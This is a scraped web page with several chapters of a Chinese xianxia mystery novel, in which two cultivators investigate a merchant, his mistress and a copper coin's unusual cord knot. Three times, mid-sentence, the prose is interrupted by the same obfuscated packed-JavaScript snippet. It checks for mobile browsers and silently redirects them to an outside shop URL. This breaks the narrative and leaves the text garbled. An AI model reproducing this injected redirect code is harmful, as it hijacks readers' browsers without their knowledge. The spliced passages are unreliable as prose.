“是,整整三年。没有衣食、没有探视,阿玦一个人孤零零地坐在那不足一丈的思过崖上,看风、看雨、看雪…… 虽然三年后他依旧笑脸温和,但师父再没让他下过山。我加倍努力学习沉稳、自律、周详,修为也突飞猛进,只希望有一天能让师父放心的叫我带阿玦下山,可直到师父仙逝,那一天也没有来临。 更糟糕的是,我跟阿玦几乎同时突破化神,却偏偏崔师叔在那时陨落。先出关的阿玦主动请命入缚魔阵,我出关后去找师父,可师父却说他决定让我接任掌门之位。虽然没有明说,但我很清楚阿玦不能继任掌门的原因跟学过幻术有关。 因为我,阿玦不止在思过崖孤独三年,还要在缚魔阵孤独终生。而现在,他要陨落了,我却什么都做不了……” 苏晴沄终于明白了他落寞的原因,明明是最好的兄弟,却因为自己受了那么多苦,如今更是要阴阳两隔。而比起伤心,更让人难受的是那种什么也做不了的无力感。就像当初看见父母倒在血泊中,看见奶奶倒在血泊中,她什么都做不了…… “还有多久?” “或许,只有一个月了。” 几不可闻的一声轻叹之后,苏晴沄伸出手将他的脸捧着转向自己,瞳仁在月光中如宝石般闪亮,“我会想尽办法杀死魔神,就算来不及帮你救他,也一定会帮你为他报仇!” 西九岭的眼底一亮,胸口涌起一股暖流。 师父说,那是阿玦自己的选择;师兄说,那是玉玦命;廖辰说,那不是你的错;可她却说,要跟他一起去救阿玦,救不下来也要为阿玦报仇。 第一次有人明白他不需要开脱,第一次有人愿意陪他一起担下这个错误。 月色朦胧了黑夜,也朦胧了双眼。他拉起女人纤细的手腕,将脸缓缓覆了下去。女人的睫毛犹如蝴蝶的翅膀扇动,仿佛下一刻就要飞落在他的面颊。 “齐师兄!酒夕姑娘!住处安排好了,我带你们过去吧。” 李琦的声音从院墙外传来,让靠近的两人分开。苏晴沄抬着头装作继续赏月。西九岭则把空出的手掌狠狠按在树干上,冷冷地盯着李琦迈进院门。 “齐师兄,原来你们在这儿,我……”李琦的话在看清掌门眼神的瞬间戛然而止,迈到一半的腿也悬在了半空。 我干了什么?为什么感觉掌门想杀了我…… 57. 调查(一) 李琦连夜进行了审问,但哑巴却是一问三不知。偏偏他是个凡人,没法使用丹药那样的非常规审问手段。 闫家兄弟倒是有问必答,将平日跟哑巴家往来的邻里名单和常去的铺子、赌坊都交代了一遍,还列出了几个经常搭话的赌友。不过这些信息庞杂琐碎,只能让李琦派人慢慢调查。 至于西九岭和苏晴沄,他们从李琦那里获得了另外一条线索。 晌午的阳光也难将狭窄晦暗的巷子照得通明,红色的灯笼虽然熄灭却没有撤去,懒洋洋地耷拉在门边,灯笼下靠墙坐着的龟公半寐半醒,院门打开的吱呀声也没能让他抬起头来。 两人一前一后走出挂着红香楼招牌的院门,一个是面色蜡黄的青年,一个是脸生青斑的妇人。 两人在门前驻足回望的时候,灯笼下的龟公迷迷糊糊睁了下眼。他搞不懂为什么这样一对男女会在大白天跑来逛窑子,但其实他也并不怎么关心,反正银子给够了就行。见两人不像要打赏的样子,他便继续闭上了眼。 而那两人则看着红香楼的招牌,这里是卢严来济水时逛的窑子。 李琦在协助柳城审讯之后确认了一件事,那就是卢严的好色。而秦家车队的人也曾说过分开时看卢严去的方向猜是花街,因此李琦回到济水后就顺着这个方向细查了一遍,终于找到了目击者,证实卢严那日到过红香楼。 虽然李琦已经查过,但西、苏二人还是觉得有必要亲自走一趟,使用易容丹则是为了避免像柳城花街那般引人注目。 “那女的确实什么都不知道。”苏晴沄略感遗憾地说道,“院子里的人也没什么问题。” 西九岭望着小院的神色若有所思。两进的院子实在算不得大,跟街角那间门楼气派的水月楼根本没法比。但这院子的后墙外有一排好树,郁郁葱葱的树冠盖住了墙头,遮住了上方的阳光,也挡住了墙外的闲杂。 “这院子的位置……” “有问题?”苏晴沄也跟着留意起院子本身来,这院子在小巷最深处,形状并不方正,后院似乎有些狭长。 两人想着同样的事,一起绕过院墙走到了巷子尽头。他们翻上墙头,视线越过茂密的树冠立刻豁然开朗,一条小巷出现在视野之内,济水河在小巷的尽头潺潺流淌,巷口处柳艳红的小院赫然在目。 两条巷子如丁字般垂直,但红香楼的巷子顶头没有出口,走路过去必须绕行,感觉上离得很远,实际却是紧挨着。 “卢严那晚是要跟柳艳红碰面?”苏晴沄眼中忍不住透出兴奋的光,好色的卢严赶了一个月车所以很想找女人,可又得尽快跟同伙接头,于是选择了距离接头地点近又不显眼的窑子,这完全能够说通。 “也可能是君百。”西九岭若有所思。 “那个富商?”苏晴沄想了想,“确实,每月给外室的前夫送银子,实在太可疑了,说不定柳艳红和哑巴都是他的挡箭牌。” 她又看了眼柳艳红的小院,昨天见到的那个婆子正倚在门框上嗑瓜子。想起昨天那盆水,她嘴角不禁抽动了一下,狠狠瞪了眼身边人,要不是穹山规定修士不能在凡人城镇使用术法,她有一百个法子立刻见到柳艳红。可现在却只能恨恨地提议:“先查君百吧。” 西九岭被瞪得莫名其妙,但见她要走还是一把拉住了她,“等等。”他指了指脸上,“药效快过了。”万一走在街上突然大变活人脸,那就有些惊悚了。 君家住在济水的富人区,邻里也都是高门大户,敲门打听的事情是没法做的,于是两人就在临街逛了起来。不止商铺,街边的摊贩,酒肆的客人,他们都去搭话。当然,也为此买了不少东西,请了许多酒菜。 随着消息的搜集,君百这个人的形象也渐渐在两人心中堆砌出来。 君家并非本地人,而是随君老太爷——也就是君百的祖父从外地搬迁过来的。如今君家在济水已经三代,君老太爷早已亡故,而君百的父亲也因思念亡妻过度,早早便抑郁而终。 索性君百天资聪颖、颇擅商道,十七岁接管家业,不但没让君家落寞,还用三十年时间将一间小小的米铺发展成了拥有数十家铺子的大米行,甚至把生意做到了景、凌两国。 更难得的是,君百此人身为商贾却十分仁善。城内修缮水道、铺建道路、兴办学堂,他皆有捐赠,每逢荒年还会设铺赊粥,在济水城的口碑极好。 也正因此,众人对他尚无子嗣之事都感到惋惜。 据说君家人丁稀薄,三代皆是一脉单传。君百因为父母早亡又忙于家业,婚姻之事比常人就晚了些,二十五岁才娶了夫人。 君百对妻子十分爱重,婚后一直没有纳妾。可七年过去,这位夫人始终未能生下一儿半女,到最后君百也只得为了传承家业纳了两名妾氏。此后十年间,这两位妾室共为他生下四个儿子、两个女儿,但奇怪的是没有一个能够活过三岁。 渐渐地坊间便有传闻,说是那位不能生养的正室暗中动了手脚。虽然不知真假,但六年前君百没让柳艳红进门,只可惜这个外室也没能为他诞下子嗣。 如今君百已经年近五十,据说是在考虑过继一个孩子,还有传闻说他曾经考虑过狗子。 苏晴沄觉得如果君百真的收了狗子做继子,那这个柳艳红就绝对有问题。抛夫弃子找个大款,然后还能让大款把遗产留给自己跟前夫的儿子,这得是多有魅力才能做到?要说没用媚术,估计魔神都不信! 两人在成衣店里等着伙计包装的功夫,西九岭状似随意地拿出了卢严的那枚铜钱,递到掌柜的面前,“这个您见过吗?” 掌柜笑道:“客官一看就不是本地人,咱们济水配铜钱的人可多了,我每天见的没有一百也有八十,如何记得过来啊?” 虽然一路过来都是这样的回答,但西、苏二人还是难免觉得遗憾。 根据闫家兄弟的供述,济水城里佩戴铜钱当装饰的男子很多,尤其是商贾。本地素有为水神庆生的传统,每逢六月初六水神生日,人们就会将铜钱放入济水河中。如果放入河中的铜钱不沉底便是吉兆,将那枚铜钱随身佩戴,水神就会保佑佩戴者一年中平安顺遂、财运亨通。这个习俗渐渐演化成了佩戴铜钱就能招财,于是便在济水的行商人间流行开来。 也就是说,要在济水找出一枚铜钱的主人便如同大海捞针、难如登天。 “不过这络子的样式……”掌柜的盯着那铜钱上的络子眯起了眼,“应该是流云抚花的手法。” “流云抚花?”苏晴沄没想到一个络子还有什么讲究,但只要能找出线索就行。 掌柜的把络子从西九岭手中接了过来,仔细看过后肯定道:“是流云抚花。这是当年吴国邱家的手法,一层线是打不成的,要两层线并进才行,如今会的人可不多了。” 西九岭连忙问道:“您可知道济水城里有谁会这种手法?” 掌柜的露出得意的笑容,“敝店就有裁缝能打这种络子,不过她今日不在店里。” 苏晴沄刚想问那裁缝的住处,就听掌柜的接着道:“君家的丫鬟应该也会。” “君家?” “嗯。”掌柜的点了下头,“之前我带人去给君老爷量身的时候见他戴过这样的络子,应该是府里的丫鬟会打。” 苏、西二人走出店铺时都有些兴奋——他们怀疑卢严来济水是为了跟君百会面,而君家有人会打这种特殊的络子——线索对上了! “可我觉得君百不像是魔修。”冷静一想,苏晴沄又觉得疑惑。 “为何?” “六个子女,一个都没保住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552381|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这要真是魔修也太给魔神丢脸了吧?” “我倒认为这更加重了他是魔修的嫌疑。” “为什么?” “魔道阴毒之处不仅在于伤人。”西九岭道,“三百年前的天神教有一护法修习毒功,其人浑身上下、乃至皮肤均含剧毒,不能与人肌肤相亲。别说生儿育女了,就连跟朋友同桌吃饭都不能。” 苏晴沄撇了撇嘴,觉得把大活人练成毒药实在让人发毛,“所以你觉得君百是修习了某种魔道功法,导致其子嗣早夭?” “现在还无法确定,但不是没有这种可能。” 说话间,两人来到君家米铺的门口、昂首挺胸走了进去,直接开口道:“我们是曲城察院来的,想跟你家老爷聊聊买米的事。” 刚打扫完货架的伙计一时间没反应过来曲城察院是个什么地方,还是年长些的掌柜意识到了两人的修士身份,立时间腿肚子开始打颤,招呼的话愣是怎么都说不出口。 就在这时,一个男人带着两个小厮从外面走了进来。那男人约莫五十上下,方脸细目、中等身材,缎面长衫系着玉带,看起来也像是经商之人。 西、苏二人下意识扫了眼那人腰间挂着的铜钱,上面的络子样式十分简单,与卢严那个截然不同。 米铺掌柜见到来人就如同见到了亲爹一样扑了上去,高声叫道:“大管家,您来啦!” 西、苏二人立刻瞪大了眼睛,没想到来人就是传闻中的君家大管家尹恭。如今这年头管家都穿绸缎、配玉带的吗? 尹恭也被掌柜高亢的声音下了一跳,但听完耳语后便立刻明白了过来,转身向西、苏二人摆出一副受宠若惊的态度,扑通一声就跪了下去,“尹恭拜见修士大人!二位阁下莅临实在令敝店蓬荜生辉,尹恭惶恐!” 说完,他扭头朝着掌柜狠狠瞪了一眼,那掌柜这才反应过来,亲自跑去沏茶了。 尹恭则站起身,快步走到店里的座椅旁,用自己缎面的袖子仔细掸了掸椅面,然后向着两人让座,嘴里道:“我家老爷若知道修士大人光临,肯定要去祠堂告祖了!” 西九岭摆了摆手表示不用落坐,“我们还要去这边的察院办些事,只是在李道友那里吃了你家的米,觉得不错才来看看。麻烦尹管家带个话,我们想跟君家家主聊聊买米的事。” “不知二位阁下在哪里歇息?尹某让我家老爷明日登门拜访。” 西九岭看了眼外面的天色,今日确实有些晚了,“我们去贵府便是。” “怎敢劳烦……” 一旁的苏晴沄抬手打断了他,“咱们察院也不是随便谁家的东西都进的,总要看看君家究竟如何。” 尹恭连忙露出了然之色,点头哈腰地表示赞同,并一再保证君家的实力绝对配得上仙门察院。 苏晴沄睨了他一眼,故作严肃道:“实力固然重要,但咱们察院最看重的还是品行。” 尹恭神色转为惶恐,又一通拍胸脯保证自家老爷品德高尚、善心善行。 苏晴沄看着他勾起唇角,笑道:“确实品德高尚,连外室跟前夫的孩子都定期送月例过去,实在是仁善的很呢。” 尹恭的表情第一次出现了松动,但也只是一瞬间便又恢复了恭敬的笑脸,“那位柳氏其实并未与人拜堂,还是老爷为她办了济水的户籍才安定下来的。” 苏晴沄怔了一下,原来柳艳红和哑巴没办手续的吗?回忆一遍闫家兄弟的口供,似乎是没有登记结婚这段。 西九岭在一旁开口问道:“是柳氏让他帮忙养孩子的吗?” 尹恭顿了一下,微微低头道:“老爷是看那孩子有些眼缘。” 有眼缘么?西、苏二人对视一眼,这么随便的借口,一看就是找名目给哑巴送钱,这个君百果然是要见见。 58. 调查(二) 五月初起的暑意被傍晚的微风吹散而去,回家的脚步声在渐起的烟火中轻快而美妙,街道上满是谈笑之声和小贩的吆喝,一派市井温馨。 两个曼妙女郎拿着新买的胭脂水粉从小巷中蹁跹而过,纤细的腰肢轻摆出诱人的风情,频频引来道边男子的侧目。女郎总是状似无意地回看过去,视线轻触间留下几分旖旎秋波,让人浮想联翩。偶或有人看得呆住,那两个女郎便会笑作一团,明媚更胜春光。 风吹枝头,墙边的石榴树上飘下几片艳红的花瓣落在两个女郎的发鬓、肩头,风光艳丽令人顾盼。 吱呀一声门开,小院中探出一个铜盆,浑浊的水在空中划出一道弧线,哗啦一声泼了两个女郎一身。 湿漉漉的发丝耷拉在脸上,粉桃般的面颊立刻和开了红泥,原本明艳飘逸的纱裙此时仿若没拧干的抹布一般皱巴巴贴在身上,随风泛开的臭味更是让人望而却步。 戛然而止的笑声仿佛黄昏中的休止符敲下了短暂的停顿,一瞬间小巷四周寂静无声,紧接着便是惊涛骇浪般的尖叫和怒骂。 我去!太惨了! 正跟西九岭一起在城中寻找布阵痕迹的苏晴沄恰巧看到这一幕,忍不住为两个女郎的不幸遭遇感到唏嘘,说道:“看来这婆子是泼水成瘾啊。” 是的,这两个女郎经过的正是柳艳红家的院门,而婆子也正是白日里向西、苏二人泼水的那个。 西九岭摇头道:“一个外室这么嚣张,难免遭人怨恨。” 苏晴沄立刻明白了他的意思,说道:“这不像天神教的风格。” 说话间四周行人越聚越多,浑身湿漉的女郎跟凶恶婆子当街对骂的情景吸引了好奇的视线,转瞬间巷口就堆满了看热闹的人。 这时,院中小楼二层的窗户打开了,一个少妇模样的艳丽女子探头出来、倚在窗边。一双杏眼、两道黛眉,丰满的唇瓣红艳诱人,乌发在斜侧随意挽了个垂髻,还有几缕发丝落在肩上。 女子看着下方懒洋洋开口道:“哟,今儿个水月楼不开张啊?” 两个被泼了水的女郎立刻安静下来,一个抬头瞪着眼、怒视窗边,另一个则轻轻拉了下同伴的衣袖,低声道:“走吧,眉媚?晚了陆妈妈要骂的。” 陆妈妈三个字让被称作眉媚的女郎收回了视线,她狠狠跺了下脚,跟同伴一起提起裙摆挤开人群,然后以手遮面小跑而去。 没了热闹可看,人群一哄而散。 西九岭抬头看向窗边女子,这个柳艳红身上全然没有低调的影子,难道真的与天神教无关?亦或者是反其道而行的伪装? 柳艳红似乎察觉到了视线、转头过来,然后懒洋洋的表情在看清西九岭容貌的瞬间一扫而空。她抬起纤细的手臂,用葱葱玉指拂开额边的碎发,杏眼微挑地朝着西九岭明明白白地抛了个媚眼。 西九岭只当没有看见,收回视线准备继续搜寻布阵痕迹,可还没来得及动作,袍袖就被身边人扯住了。 “出卖色相的时候到了!” 耳边轻轻飘来的惊悚话语令他汗毛倒竖,身边的女人一双眼眯起如同月牙,向着他露出的笑脸仿若一只准备偷鸡的狐狸。 一刻钟后,两人成功坐进了柳艳红的闺房,一个是商家子弟,一个是商家子弟的妹妹。 “文书?”柳艳红眨了眨眼,一副茫然不解的模样。 “是。”西九岭微笑着重复强调道,“信里写的很清楚,说是跟君老板签订了文书,柳城那边的生意都走我家的商铺。” “哎呀,生意上的事情有什么意思?”柳艳红的视线在西九岭的眉眼之间流连徘徊,娇声道,“公子不如说说平日做何玩乐,喜欢什么样的女人,这些才有意思嘛。” 西九岭扭头看向苏晴沄,这会儿她正摆弄茶盘上的紫砂壶。 见他投来视线,苏晴沄耸了耸肩道:“打算盘的事儿我也没兴趣。”说着她起身走向屋前的屏风,“我倒看这房间布置有些意思,屏风上还洒了金粉,咱们柳城可没这样的。” 进来前她跟西九岭就说好了,一个负责打探消息,一个负责查看房间。所以她现在的工作是扮演一个缠着跑商哥哥出来游玩的好奇少女。 听她夸赞屏风,柳艳红似乎很是开心,笑着道:“妹妹眼光真好,那屏风是老爷特地从陈国带来的,济水也没几家有呢。” 苏晴沄立刻瞪大了眼睛,一副艳羡表情盯着那屏风转了一圈,又抬头环顾四周,说道:“怪不得这房间里许多东西都看着新鲜,原来是南岭的稀罕物。” 柳艳红被她说的眉开眼笑,“妹妹喜欢南岭风情就随意转转,奴家这里南岭的东西可不少呢。” 西九岭借着两人说话的时间整理了一下思路,再次开口:“要说这事也古怪,我家账房明明来了济水,可是等我来找却生不见人、死不见尸,总不能是被拐卖了吧?” 他这说法总算引起了柳艳红的兴趣,噗嗤一声笑了出来,“公子这话真有意思,咱们济水穹山地界、仙人管辖,治安好得很,哪里会有拐卖之事?更别说一个大男人了,买回去作甚?”说完又是咯咯咯一阵笑。 西九岭作出无奈颓丧的表情,说道:“可我确实收到了账房从济水的来信,说跟君老爷签订了文书,可君府却说没见过我家账房……”说着,他仿佛突然想起了什么,“对了,账房信里说他是在扶柳巷君家的外宅签下的文书,夫人这里不就是扶柳巷吗?” 柳艳红一怔,疑惑道:“奴家这里确实是扶柳巷,可老爷来这里从不办公啊。” “是三月二十七日那天,”西九岭边说边从袖中取出一张画像在桌上展开,然后指着画中卢严的脸道,“就是这个人,夫人看看有没有见过?” 柳艳红的视线垂下,却是落在了那指着画像的修长手指上,然后一脸妩媚地将手伸了过去。 西九岭一瞬间想打开她的手,但紧接着想到可以试探一下对方有没有修为,于是便忍住了。 柳艳红的手覆了上去,脸上笑开了花,嗲声嗲气说道:“公子这手可真好看,摸起来也……” 啪嗒一声响,多宝阁前的苏晴沄放下了一尊芙蓉玉雕的花开牡丹。 “夫人可见过此人?”一触之间全无灵力,西九岭迅速抽回了手。 “没见过。”柳艳红显然对他抽手的动作感到不满,只扫了眼画像就立刻给出了答案。 “确定没见过?” “确定。” “那三月二十七日君老爷可来过?”西九岭顿了一下,补充道,“或许他是在这附近跟我家账房见的面呢?” 柳艳红撇了下嘴,但还是起身从梳妆台边的小柜里取出了一个账本翻看,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607256|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看边坐回位子上喃喃道:“三月二十七日确实定了酒菜,老爷该是在这里过夜的,不过你家那个账房肯定没来过。” “那晚你一直跟君老爷在一起?” 听他这么问,柳艳红的眼中立刻浮现出暧昧的笑意,“春宵一刻值千金,当然是在一起的。” 西九岭被她看得一个激灵,干咳一声道:“夫人觉得君老爷会不会趁你睡着的时候跟人碰面?” 柳艳红噗嗤一笑,“公子这话问的,奴家都睡着了还能知道什么呀?” 西九岭觉得再问下去也意义不大了,于是将卢严的那枚铜钱拿了出来,准备最后尝试一下,“这个是随信一起寄来的,夫人可曾见过?” 柳艳红一脸没趣地瞥了一眼,说道:“这铜钱满大街都是,有什么稀奇?” “这络子的样式呢?” 一说络子的样式,柳艳红仔细看了过来,“这样式倒是精致,好像在祥福记看到过。” “君老爷身上呢?” “老爷?”柳艳红摆出回忆的架势,“奴家记得老爷戴着玉扳指、紫金戒指、翡翠戒指,白玉双狮佩,九曲龙蛇环……铜钱好像也带了吧,不过那种不值钱的玩意儿奴家没太留意。” 下楼梯的时候苏晴沄一直没有看西九岭,西九岭觉得她情绪不对,走出小楼后忍不住问道:“你在生气?” 苏晴沄停下来看向他,坦然道:“是。” “为什么?” “她摸你。” “不是你让我出卖色相的吗?” “是。可看见她摸你,我还是忍不住嫉妒,不行吗?”苏晴沄微微扬了扬下巴,转身向着院门走去。 嫉妒……她在嫉妒!西九岭反应过来的瞬间心头猛烈跳动,他快步追上去,一把拉住了女人的手,让两人的衣衫贴在一起。 皎月被浮云遮住了光亮,夜色中的门内晦暗不明。西九岭看不清苏晴沄的神情,却感觉到手上传来的温度,他缓缓将脸覆下,抬起的手臂环住女人的同时也顶开了院门。 门开的瞬间,余光中有什么东西飞了过来,他下意识挥手施法,在女人身前建起一道灵墙。 那飞来的棕褐色秽物被灵墙反弹回去,尽数洒在了院外立着的两人身上。 西、苏二人借着月光仔细看去,发现其中一个竟然是傍晚在门前被婆子泼了一身水的那个眉媚,而她此刻身上挂着的是黄褐色的粪汤。 虽然被泼上的不多,但这一次却是屎尿秽物,视觉效果和味觉刺激都比傍晚高出数倍,眉媚整个人呆若木鸡,眼中透出绝望的神情。 而她旁边站着的是个纨绔模样的青年,头顶的发髻松松垮垮,中间插了朵大红的牡丹,绸缎长衫系着的腰带歪歪扭扭,中间插了把折扇,扇柄上还坠着块玉佩。他手中拿着一个残留着黄汤的空盆,浑身上下都滴答着屎汤,双目呆滞、嘴巴微张,看上去神情恍惚,令人不忍直视。 苏晴沄一瞬间明白了过来,应该是眉媚记恨着傍晚的事情,于是拉了个相好的来报仇。为了增加侮辱性还特地用了屎尿一类的秽物,可没想到开门的既不是柳艳红,也不是那个婆子…… 她干咳一声看向身边人,“在城里不能用法术吧?” 西九岭嘴角一抽,“总比被泼屎好。” 苏晴沄点了点头,“也对。” 59. 调查(三) 察院庭前,一男一女低垂着头呆若木鸡,黄褐色的粘稠物挂在他们身上,偶尔还有几滴落到院中的石板地上,溅开一阵阵排泄物的刺鼻气味。 李琦看着一对男女忍不住嘴角抽搐。 牢房里关着个哑巴,跨院里养着个小孩儿,现在前庭又站了两个满身是屎的人……掌门,您下次能不能带个普通点儿的嫌犯过来! 一旁的苏晴沄捂着鼻子向他投去一个“我懂你”的眼神,然后瞥向西九岭。 在柳氏门前她就说直接弄干净得了,可西九岭却说城中不能施法,挡屎那一下算是紧急避险,再用法术便是违法了。身为穹山掌门他不能知法犯法,否则上行下效、法将不法。道理她当然明白,但真的是——太臭了! 西九岭抹了下鼻子,假装看不见她眼中的怨气。反正人已经带到察院了,在这里使用法术不会违法,而且还方便审问,可谓一举两得。嗯,就是走来这一路有些影响市容。 李琦闭了下眼,将无法宣之于口的牢骚咽了下去,然后默默掏出两张清洁符分别贴到那一男一女身上再以灵力催动,片刻后污秽尽消,院中空气瞬间清新起来。 眉媚和那纨绔青年见他露了这么一手,脸上立刻现出敬畏与惶恐,齐齐跪倒在地、不住磕头,口中叫着:“多谢仙人!多谢仙人!” 李琦深吸了口气,向西九岭躬身问道:“齐师兄可要审问这二人?” 一听仙人要审问,眉媚的身子一晃,好像被抽去了筋骨一样倒在了地上。 旁边那纨绔青年则猛然嚎啕大哭起来,鼻涕眼泪糊了一脸,双手扯着瘫软在地的眉媚使劲往自己身前推,口中喊着:“仙人饶命啊!小人是被这贱人怂恿才做的蠢事,她说那院里出来的定然是柳艳红或婆子,我根本不知道仙人在里面啊!都是她害的小人,仙人明鉴呐!” 这时,有修士进来禀报说这对男女的保人到了,李琦便叫他们带人进来。 进来的也是一男一女,但两人行走间保持着距离、视线互不交错,显然不是一路。 女人妆容艳丽却不媚俗,眼尾上那水粉掩不住的纹路显示着芳华已逝,但精致的五官和玲珑的线条却依然不失为一个美女,一丝不苟的发髻和端正的步履身姿颇有些稳健气度,可与男人视线交汇时下意识流露出的妩媚之色却令仪态打了折扣。 男人年约五十,方脸细目、中等身材,穿着一套缎面长衫,腰间系着玉带和一枚打了简单络子的铜钱,正是西、苏二人下午见过的君家大管家——尹恭。 尹恭看到纨绔青年便快步走上去,先向西、苏二人和李琦行礼,然后抡圆了胳膊一个大嘴巴甩在了纨绔青年的脸上,恨恨道:“逆子!” 纨绔青年被这一巴掌打得身子一歪,面颊立刻浮现出五个指痕。 紧接着,尹恭转身向着李琦跪了下去,扣头道:“逆子尹琪冲撞修士大人,请修士大人降罪!” 仿佛不甘落后一般,同为保人的那名女子也加快脚步、跪到了李琦面前,叩首道:“水月楼陆雨茜请修士大人安,楼中姑娘不敬之事还请大人降罪。” 苏晴沄看了眼陆雨茜那一身水月色的锦衣和端正姿态,觉得若说是哪户人家的正室夫人她也相信,没想到竟然是水月楼的妈妈。 瘫倒在地的眉媚此时打了个激灵,仿佛突然回过神来一般跪着爬到了陆雨茜身后,跟着扣头道:“仙人饶命!仙人饶命!奴家只是想报复柳艳红那个贱妇,并不知道仙人在她家啊!” 陆雨茜哼了一声,微微侧头睨了她一眼,冷然道:“错了便是错了,哪里这么多话,等着修士大人发落便是!” 眉媚被她说得浑身一抖,屈身将头埋在地上,再不敢多说一个字。 李琦心中过了一遍穹山律也没找到向仙人泼屎算个什么罪名,于是干咳了一声,故作姿态道:“既然这两人是冲撞了齐师兄,那就由齐师兄定夺吧?” 西九岭道:“一场误会,谈不上冲撞,引以为戒便是。” 跪在地上的四人立刻大喜,接连起身。 就在他们起到一半的时候,西九岭又追了一句:“不过尹琪还要留一会儿。” 尹家父子喜悦的神情立刻僵住,起到一半的身子又弯了下去。 陆雨茜则眉开眼笑地走到西九岭面前作揖道:“修士大人宽宏大量、犯而不校,水月楼明日当闭门设宴、鸣谢大人恩情。” 一旁的苏晴沄伸手扶起了她,笑道:“不必。”自从追查天神教,她就养成了有事没事探个灵脉的习惯。 陆雨茜微微一怔,但紧接着便露出若有所悟的笑容,视线在苏、西二人身上打了个转,领着眉媚告退离去。 看着眉媚离开,尹琪急得像热锅上的蚂蚁,要不是被父亲用手按着,他几乎要扑过去抱住西九岭的大腿求饶。 尹恭虽然让儿子稍安勿躁,但其实心中也是惶惶不安,见到陆雨茜走向大门便再也忍不住了,焦急问道:“犬子固然有罪,但却是被那眉媚怂恿所致、实属从犯,修士大人如今放走主犯却留下从犯,这、这案子如何审啊?” “都说了,方才之事不会处罚。”西九岭抬手示意他无须担心,“留你们,只是因为有旁的事情要问令公子。” 尹恭虽然疑惑,但终究是安心了些。见儿子依旧忐忑,他便安慰了两句,提点他对修士大人要有问必答、知无不言。 西九岭并没有当着尹恭的面询问尹琪。他拿不准君家大管家跟君百的关系究竟有多深,于是便将之与李琦一同留在前庭,自己则跟苏晴沄带着尹琪进了大堂。 独自面对两个仙人的尹琪站在书案前瑟瑟发抖,小腿肚子一个劲儿的抽筋,上下牙床玩儿了命的打架,开口的声音抖得厉害:“仙、仙、仙人要、要问、问什么?” 苏晴沄开门见山道:“腰间的扇子给我。” “啊?”尹琪呆愣了一瞬,然后恍然大悟,仙人这是要索取贿赂啊!见到熟悉的套路他不觉安心许多,牙床也不打架了,“这扇子不值钱,小人回家给仙人拿好的来。” 苏晴沄见他想歪了,脸一沉道:“让你给就给。” 尹琪被她瞪得浑身一抖,双手连忙摸向腰间的扇子,抽了两下才抽出来递了过去。 那扇子下面坠着一块玉佩,只是成色不佳的廉价货,可那玉佩上套着的络子却是花样精致,一眼看去便知不俗。 苏晴沄将扇子拿在手中,与西九岭一起观瞧,确定那络子就是流云抚花的手法。 “这络子是哪儿来的?”她问道。 “络子?啊,络子!是巧儿送的。” “巧儿?” “巧儿是君老爷身边的大丫鬟。” 苏晴沄想起成衣铺老板的话,猜测巧儿便是那个君家会打这种络子的丫鬟,“这个巧儿经常打这种络子送人吗?” “怎么会?这络子的手法叫作流云抚花,很有来头,没几个人会的。巧儿对此宝贝的很,从来只将这手法用在君老爷的物件上。” “既然如此,为何送你?” 尹琪一时语塞,然后回头看了眼身后的门,似乎是想确认有没有关严,“仙人能否瞒着家父?” 西九岭淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719921|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡扫了他一眼,并不正面回答,只道:“你说便是。” 尹琪扭捏道:“小人跟巧儿相互爱慕,已经私定终身,这是她送小人的定情信物。” 互相爱慕、私定终身,然后扭头去水月楼找眉媚?苏晴沄在心里给他打了个渣男的标签,语气不善道:“除了你,她还送过谁这种络子?” “巧儿说没送过别人,除了君老爷就只有小人有。”说到后半句他眉梢划过些许得意之色。 西九岭取出卢严那枚铜钱递给他看,“这个见过吗?” 尹琪只看了一眼便道:“这是君老爷的,他之前一直戴这个,不过最近换了。” “什么时候换的?” “有一两个月了吧?”他见两人对视,误以为他们对自己的回答不满,忙道,“具体时间小人记不清了,仙人若想知道,小人可以去问巧儿,君老爷的穿戴她都一清二楚!” 大堂的门开启时,尹恭终于松了口气,拉着全须全尾出来的儿子向西、苏二人连连道谢。 西九岭笑着拍了拍他的肩膀,说道:“你回去告诉君百,明日我们在米行会面,可以顺便看看米。” 尹恭不疑有他,应承离去。 苏晴沄看着他走出院门才开口询问:“怎么改去米行了?” 西九岭神色凝重道:“若君百真是铜钱的主人,那多半就是那个不明身份的化神,他在府里咱们查不到什么,还不如我将他引去米行,你趁机去探君府。” 苏晴沄会意,“你觉得梦见中的人是君百吗?” “十有八九。”西九岭望着尹家父子离去的方向、踌躇满志,“因为我终于想通了梦见中那一闪而过的白色是什么。” “是什么?” “米。”许多的、放大的、模糊的米,是君百每日都离不开的东西。 